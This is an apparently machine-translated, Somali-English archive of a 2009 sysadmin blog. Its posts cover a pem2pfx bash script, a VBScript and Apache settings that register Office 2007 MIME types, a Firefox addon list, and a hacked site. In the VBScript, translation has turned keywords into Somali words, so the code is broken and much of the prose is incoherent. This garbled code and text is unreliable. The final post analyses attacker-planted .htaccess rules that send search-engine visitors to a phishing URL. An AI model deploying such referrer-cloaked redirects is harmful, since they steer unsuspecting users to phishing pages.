Tag-Archive for » iis «

Arbaco, 18-ka Maarso, 2009 | Qoraa:

[wax ka beddel] Wax badan baa sidaas ah. Waxaa soo baxday in furanssl awood u leedahay in uu go'aamiyo in furaha iyo shahaadda ay horey ugu jiraan hal fayl. Sidaa darteed, maya kala qaybsanxoqid ayaa loo baahan yahay (iyo sidoo kale, Waxaan rajeynayaa in qof aqrinaya tan ugu yaraan uu wax ka bartay sida wanaagsan ee loo kala qaybsamo). Dhab ahaan, qoraalka oo dhan sidoo kale wuu duugoobi karaa… badargh. Waa hagaag, at least it gives a nice warning about not giving a blank passphrase. 😀

Here’s the new version:

pem2pfxconverts a .pem-formatted file containing a private key and signed certificate into a Windows-compatible .pfx certificate file.

#!/bin/bash
#pem2pfx
#v0.2
#Khiyaano badan - brendan@swiftspirit.co.za
# Converts a .pem certificate file to .pfx format
# $1 is the source file
set -e
 
if [ $# = 1 ]; then
  outputfile=`echo $1 | sed 's/.pem$/.pfx/'`
 
  echo "Please specify a password below. Windows refuses to import a .pfx certificate with a blank password."
  openssl pkcs12 -export -out $outputfile -in $1
 
 else
  echo "pem2pfx - converts a .pem formatted private-key and certificate file to an IIS-compatible .pfx file."
  echo "Usage: pem2pfx inputfile.pem"
fi

dheeraad ah…

Share
Sabti, 21-ka Febraayo, 2009 | Qoraa:

Noocyada dukumiintiga ee cusub Xafiiska 2007 waxay siisay qaar ka mid ah martigaliyayaasha webka dhibaatooyin markay macaamiishooda rabaan inay siiyaan dukumiintiyo loogu soo dejisto. Inta badan, dukumintiyada waxaa bixiya adeegaha shabakada sida “qoraal / html” taas oo markaa loo bixiyo tan oo ah qashin shaashadda isticmaalaha websaydhka.

Habka ugu fiican ee tan lagu xallin karo waa in lagu daro dhammaan MIME noocyada qaabeynta ugu weyn ee serverka. IIS7 for Windows horeyba waxay u leeyihiin noocyadan MIME si sax ah ayaa loo dejiyay. IIS6 iyo IIS5 waxay u baahan yihiin noocyada MIME in lagu daro, sida laga yaabaa Apache rakibidda hore. Wixii Apache, sidoo kale waxaa jira shaqo ka shaqeysiin milkiilaha domain shaqsi ah inuu ku daro noocyada mime via Apache’s .htaccess faylka.

IIS 6 Nooca MIME ku darista (ee Maamulaha Server)

Kahor intaan tan la samayn, hubi in adeegahaaga sidoo kale loo dejiyay inuu u oggolaado sixitaanka metabase toos ah:

  1. Xamuul Maamulaha IIS: Bilow -> Ra, “inetmgr” -> [OK]
  2. Midig u guji “server” oo guji “Properties”
  3. Gudaha “Adeegyada Macluumaadka Internetka” tab (badiyaa tabka keliya), hubi in “Enkartaan Direct Metabase Edit” sanduuqa ayaa la hubiyaa.
  4. Click [OK]

Hubso inaad dib u habeynta IIS (here loogu talagalay IIS5) ka hor. Ma qaadi doono wax masuuliyad ah maamul jabinaya adeegeisa. Waxaan haystaa sabab aan ku rumaysto tan laga yaabaa sidoo kale ka shaqee IIS5 si kastaba ha ahaatee waxaan haystaa sabab aad u badan oo aan ku rumaysan karo inay khaladaad badan bixin karto. Haddii ay tahay IIS5 / Windows 2000 admin wuxuu diyaar u yahay inuu tan ii tijaabiyo ka dib markii aan taageeray qaabeyntaada fadlan ii soo sheeg natiijooyinka.

Nuqul qoraalka soo socda u gal feyl la yiraahdo msoff07-addmime.vbs oo fuliya mar ka amraya taliska adigoo garaacaya qoraal msoff07-addmime.vbs oo riixaya gala. Haddii aad maamusho wax ka badan hal jeer, noocyada MIME ayaa lagu dari doonaa wakhti kasta waxaadna lahaan doontaa qoraallo badan oo isku mid ah:

'Qoraalkani wuxuu ku darayaa Xafiiska lagama maarmaanka ah 2007 Noocyada MIME ee IIS 6 Server.
'Inaad adeegsato qoraalkan, kaliya laba-guji ama ka dhaqan khad amarka ah.
'Ku socodsiinta qoraalkan dhowr jeer waxay keeneysaa galitaanno badan oo ka mid ah
'IIS MimeMap marka waa inaadan socodsiin wax ka badan hal jeer.
'Waxaa laga beddelay http://msdn.microsoft.com/en-us/library/ms752346.aspx
 
Miisaan MimeMapObj, MimeMapArray, MimeTypesToAddArray, WshShell, oExec
Const ADS_PROPERTY_UPDATE = 2 
 
Calan noocyada MIME lagu daro
MimeTypesToAddArray = Diyaarin(".docm", "application/vnd.ms-word.document.macroEnabled.12", _
".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document", _
".dotm", "application/vnd.ms-word.template.macroEnabled.12", _
".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template", _
".potm", "application/vnd.ms-powerpoint.template.macroEnabled.12", _
".potx", "application/vnd.openxmlformats-officedocument.presentationml.template", _
".ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12", _
".ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12", _
".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow", _
".pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12", _
".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation", _
".sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12", _
".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide", _
".xlam", "application/vnd.ms-excel.addin.macroEnabled.12", _
".xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12", _
".xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12", _
".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", _
".xltm", "application/vnd.ms-excel.template.macroEnabled.12", _
".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template") 
 
Soo qaado shayga mimemap-ka
Deji MimeMapObj = GetObject("IIS://LocalHost / MimeMap")
 
'Wac AddMimeType nooc kasta oo kordhin ah / nooc MIME ah
Wixii miiska = 0 si ay u UBound(MimeTypesToAddArray) Tallaabada 2
    AddMimeType MimeTypesToAddArray(miiska), MimeTypesToAddArray(miiska+1)
Xiga
 
Abuur shey Shell
Deji WshShell = Abuuritaan("WScript.Shell")
 
'Jooji oo Bilow Adeegga IIS
Deji oExec = WshShell.Ful("net stop w3svc")
Samee Halka oExec.Xaaladda = 0
    WScript.Hurdo 100
Loop
 
Deji oExec = WshShell.Ful("net start w3svc")
Samee Halka oExec.Xaaladda = 0
    WScript.Hurdo 100
Loop
 
Deji oExec = Waxba
 
Xaaladda uga warbixi isticmaalaha
WScript.Echo "Microsoft Office 2007 Dukumentiyada noocyada MIME ayaa la diiwaangeliyey."
 
'AddMimeType Sub
Sub AddMimeType (Dheeraad ah, MType)
 
    'Khariidadaha ka soo qaado guriga MimeMap.
    MimeMapArray = MimeMapObj.GetEx("MimeMap") 
 
    'Ku dar khariidad cusub.
    i = UBound(MimeMapArray) + 1
    Redim Kaydso MimeMapArray(i)
    Deji MimeMapArray(i) = Abuuritaan("MimeMap")
    MimeMapArray(i).Kordhin = Dheeraad ah
    MimeMapArray(i).Nooca = MType
    MimeMapObj.PutEx ADS_PROPERTY_UPDATE, "MimeMap", MimeMapArray
    MimeMapObj.SetInfo
 
Dhammaad Sub

Apache MIME ku darista nooca (ee Maamulaha Server)

Apache waxay ku kaydisaa noocyadeeda MIME feyl caadi ahaan ku yaal $nooca loo yaqaan 'installpath / conf / mime.types. Eeg mod_mime dukumiinti wixii faahfaahin ah ee ku saabsan sida ay u shaqeyso. Arch Linux rakibto noocyadeeda MIME at /iwm / httpd / conf / mime.types iyo Isbarbar dhigga Plesk ku rakibto /usr / maxaliga / psa / admin / conf / mime.types. Waxaa laga yaabaa in qeybintaada ay ku hayso meel kale, markaa raadso noocyada faylka adoo ordaya hel noocyada mime.

Kudar khadadka soo socda feylkaaga mime.types:

application/vnd.ms-word.document.macroEnabled.12                          docm
application/vnd.openxmlformats-officedocument.wordprocessingml.document   docx
application/vnd.ms-word.template.macroEnabled.12                          dotm
application/vnd.openxmlformats-officedocument.wordprocessingml.template   dotx
application/vnd.ms-powerpoint.template.macroEnabled.12                    potm
application/vnd.openxmlformats-officedocument.presentationml.template     potx
application/vnd.ms-powerpoint.addin.macroEnabled.12                       ppam
application/vnd.ms-powerpoint.slideshow.macroEnabled.12                   ppsm
application/vnd.openxmlformats-officedocument.presentationml.slideshow    ppsx
application/vnd.ms-powerpoint.presentation.macroEnabled.12                pptm
application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
application/vnd.ms-powerpoint.slide.macroEnabled.12                       sldm
application/vnd.openxmlformats-officedocument.presentationml.slide        sldx
application/vnd.ms-excel.addin.macroEnabled.12                            xlam
application/vnd.ms-excel.sheet.binary.macroEnabled.12                     xlsb
application/vnd.ms-excel.sheet.macroEnabled.12                            xlsm
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet         xlsx
application/vnd.ms-excel.template.macroEnabled.12                         xltm
application/vnd.openxmlformats-officedocument.spreadsheetml.template      xltx

Apache MIME ku darista nooca (For the domain owner with at least FTP accessusing .htaccess file)

Add the following text to your domain’s .htaccess faylka, most commonly in an httpdocs/ directory

AddType application/vnd.ms-word.document.macroEnabled.12 docm
AddType application/vnd.openxmlformats-officedocument.wordprocessingml.document docx
AddType application/vnd.ms-word.template.macroEnabled.12 dotm
AddType application/vnd.openxmlformats-officedocument.wordprocessingml.template dotx
AddType application/vnd.ms-powerpoint.template.macroEnabled.12 potm
AddType application/vnd.openxmlformats-officedocument.presentationml.template potx
AddType application/vnd.ms-powerpoint.addin.macroEnabled.12 ppam
AddType application/vnd.ms-powerpoint.slideshow.macroEnabled.12 ppsm
AddType application/vnd.openxmlformats-officedocument.presentationml.slideshow ppsx
AddType application/vnd.ms-powerpoint.presentation.macroEnabled.12 pptm
AddType application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
AddType application/vnd.ms-powerpoint.slide.macroEnabled.12 sldm
AddType application/vnd.openxmlformats-officedocument.presentationml.slide sldx
AddType application/vnd.ms-excel.addin.macroEnabled.12 xlam
AddType application/vnd.ms-excel.sheet.binary.macroEnabled.12 xlsb
AddType application/vnd.ms-excel.sheet.macroEnabled.12 xlsm
AddType application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
AddType application/vnd.ms-excel.template.macroEnabled.12 xltm
AddType application/vnd.openxmlformats-officedocument.spreadsheetml.template xltx
Share
Sabti, 21-ka Febraayo, 2009 | Qoraa:

and my Personal Rating (PR) out of 10 😉

I use Firefox so most of these won’t apply to non-FF users. Si kastaba ha noqotee, I’d be very very interested to hear what other addons my friends, subscribers, and random websurfers find interesting or useful to them. Have your say and let us know why you love the addons you love. 🙂

Personally, I prefer addons that aren’t intrusive. Ideally, an addon must have a minimal interface and give me a measurable benefit for me to keep it installed.

Cacheviewer – 7

This is a GUI front-end for the Cache Firefox keeps of the last few pages and media. I’ve found this addon more interesting than useful right now so I’m probably going to remove it soon.

ColorfulTabs – 9

I love the colours. The tab colour-grouping doesn’t work very well when you reach about 30 tabs though… :-/

Download Statusbar – 10

I prefer having everything in Firefox in a single window in tabs. Having a download box in a separate window is a big no-no for me. It also saves screen real-estate since it is very minimal. 🙂

Video DownloadHelper – 10

Video DownloadHelper eegayaa Streaming warbaahinta – si gaar ah u raadinaya wax content badan in la soo bixi. Marka aad guji icon, waxaa idin tusiyo durdurrada hadda-degsado iyo ku siinayaa ikhtiyaarka in ay saf sida a “caadiga ah” download.

Tan iyo aad marna ma ogaan haddii FF waxaa laga sugayaa inay shil ama awood u socda si ay u dhinto, Waxaan doorbidayaa inuu badbaadiyo nuqul aan desktop ka dibna waxaan arki kartaa video oo aan la isticmaalayo bandwidth dheeraad ah in ay mar kale soo bixi video ah. Sidoo kale, shaqada, marka dadku soo diro ayaa i xidha in youtube ama warbaahinta kale, Waxaan inta badan ma dhibaato daawashada ilaa badan ka dib – at my firaaqada gaar ah ama inta lagu jiro nasasho.

Dhammaadka Canary – 9

Tani Addoon nidaamsan oo yar kuu sheegayaa haddii Shahaadada SSL for goobta aad hadda arkaysid waxaa ugu dhaqsaha badan socday uu dhacayo. Haddii goobta adiga kuu gaar ah uu leeyahay Shahaadada SSL, Waxaan ku talinaynaa in aad isticmaasho iyo Addoon this si ay uga caawiyaan looga fogaado Shahaadada SSL your site ee dhacayo ay sabab u tahay la'aanta fudud ee wargelinta ama afgaranwaa.

Fasterfox – 8

Fasterfox adds some network optmisation options. Some of the options could make your corporate network admin a little mad with you though. 😉

Firebug – 9

Waayo, horumarinta web iyo tijaabo la pages. Awesome for jirrabaya gelinno yar ee code sidoo kale debugging pages.

FoxClocks – 6

errtells you the time in other time zones. o.O Was useful for a short timenow its redundant since my head is working it out faster than I can glance. rm -f

FoxyProxy – 9

Awesome waayo Author pages gaar ah iyada oo loo marayo server wakiil gaar ah. This is useful for when some sites are blocked or the SAIX Transparent Proxy servers aren’t working properly. 🙂

Waxaan u isticmaalnaa si wadada qaar ka mid ah gaadiidka ka badan server wakiil aan lahaa aan halkii marayo wadooyinka default tago. Its also very flexible. Haddii aad leedahay in ka badan hal server wakiil la heli karo iyo mid ka mid ah oo aad caadi ahaan si lama filaan ah u isticmaali tagaa on bilig bilig ah, kaliya beddelaan in ka badan in mid ka mid ah ee soo socda. 🙂

Greasemonkey – 10

Right now, I use this only for the GooglemonkeyR qoraalka. This script reformats Google‘s search results to your specifications and also has an option to show small thumbnail of the pages Google links to. Greasemonkey can do a lot more and there are plenty of scripts readily available for many many sites.

Live HTTP headers – 8

I’ve used this a few times to diagnose gzip compression issues with IIS web servers. Not much else to say though: It works.

Live PageRank – 10 (so faronly installed it yesterday)

This addon seems simple enough. It gets the PageRank from Google and shows it in the tray.

NoScript – 10

NoScript waa laga cabsado ee xayaysiisyada ka xanibeen. Its yar diiqayo ah ee ugu horeysay tan aad leedahay si aad Liiska Mudnaanta oo dhan goobaha aad rabto – but in the long run it is soooo worth it. 🙂

Bixin Pages – 10

Aad faa'iido badan ee haddii aad caleenta goobta iyo waxa ku dhacaya hoos ahaan. Haddii goobta waa ma guurto ah-content-oriented markaas taas oo ka dhigaysa waa u fududahay in ay si deg deg ah ka heli content haddii ay online kaydin.

Tab Mix Plus – 8

Awesome for if you have more than 7-or-so tabs.

ShowIP (using a version modified for work purposesdisplays company server’s canonical name when browsing) – 10

I cannot imagine the hell I’d have to go through to identify a server without this plugin. Okay, I can. Used to have to do this all the time. I eventually scripted it but I can’t find the original script. Here’s my 60-second attempt at recreating what was in that script:

$ cat /etc/hosts | grep `dig A $hostname @mycachingnameserver | grep . | grep -v "^;"`
$ dig -x `dig A $hostname @mycachingnameserver | grep ^$hostname | grep A | \
  awk '/[.]/{print $5}'` @mycachingnameserver | grep . | grep -v "^;"

Web Developer – 9

I used this once to diagnose some issues with a page. I don’t do much web development so I’m going to remove this one. Its no comment on its capabilities since I believe this is a top notch add-on if you’re doing a lot of web development work.

Share
Thursday, January 22nd, 2009 | Qoraa:

I very recently found a problem with a client’s web site due to a .htaccess faylka. The site was hosted on a Windows server running IIS using IISPassword, which makes use of .htaccess files for its settings.

IISPassword doesn’t follow exactly the same rules as with Apache however. If the .htaccess file exists then it must contain IISPassword-appropriate rules, otherwise the server returns only the following error:

Error 500 given by IIS Password
Here’s the content of the .htaccess file. I’ve only modified the final redirection URL to point to example.com appropriately:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://siffy-phishing-url.example.com [R,L]

If this were on a server running Apache with mod_rewrite, most web users would go directly to the correct site content. Only if they reached the site through the search engines and indexes listed in the .htaccess, would they be redirected to the siffy phishing url that the cracker wants victims to reach.

Dabcan, the cracker (or perhaps even an automated worm) didn’t realise that the server in question didn’t even support these mod_rewrite rules. But either way, this is very worrying as I can foresee many arguments about whether or not the site is working

Share